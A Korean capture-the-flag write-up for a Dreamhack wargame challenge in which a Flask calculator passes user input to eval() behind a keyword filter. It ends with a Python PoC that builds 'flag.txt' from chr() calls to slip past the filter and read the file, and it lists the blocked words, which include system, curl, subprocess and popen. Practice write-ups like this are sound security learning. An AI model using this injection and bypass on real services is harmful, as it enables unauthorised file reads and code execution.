LEVEL 2: Addition calculator

https://dreamhack.io/wargame/challenges/1021

환경


  • Flask에서 동작하는 웹 애플리케이션.
  • 기본 페이지에서 GET 요청 시, [/index.html] 페이지를 출력.
  • 기본 페이지에서 POST 요청으로 formula 파라미터에 입력한 데이터를 eval() 함수를 통해 파이썬 표현식 실행 가능.
    • 입력 값은 알파벳 대소문자, 0~9, ” “, “.“, “(“, “)“, “+“를 입력할 수 있다.
    • system, curl, flag, subprocess, popen 문자열은 대소문자를 구분하지 않고 필터링.
    • 위에서 명시한 허용 목록에 포함되지 않는 문자도 필터링.


접근


  • Dockerfile이 제공되지 않아 정확한 환경을 알 수는 없지만, 정황상 현재 웹 애플리케이션이 실행된 app.py와 flag.txt가 같은 경로에 있을 것이라 추정된다.
  • formula 파라미터에 사용자 입력 값을 전달하여 python 표현식을 실행해 flag.txt 파일을 읽으면 되므로 open(‘flag.txt’).read()를 전달하는 것을 목표로 한다.


풀이


  • 사용자 입력 값을 필터링하고 있다. 하지만 입력받는 순간에만 필터링을 수행하고, eval()를 실행할 때 수행하지 않으므로, 값을 전달할 때만 우회에 성공하면 된다.
  • “+”를 허용하고, eval()로 python 표현식을 사용할 수 있으므로, 유니코드를 이용해 문자열 필터링 중 “flag”를 우회해 볼 것이다.
  • python의 함수 중 chr()로 유니코드를 문자로 변환해준다. chr(102)+chr(108)+… 형태로 유니코드를 연결하여, 특수기호 ‘문자열 flag를 전달할 수 있다.


PoC 코드


import requests
from urllib.parse import urlencode

url = "http://host8.dreamhack.games:15051/"
header = {"Content-Type": "application/x-www-form-urlencoded"}
body = {"formula":"open(chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)).read()"}
payload = urlencode(body)
print(payload)

response = requests.post(url, headers=header, data=payload)
print(response.text)

Published by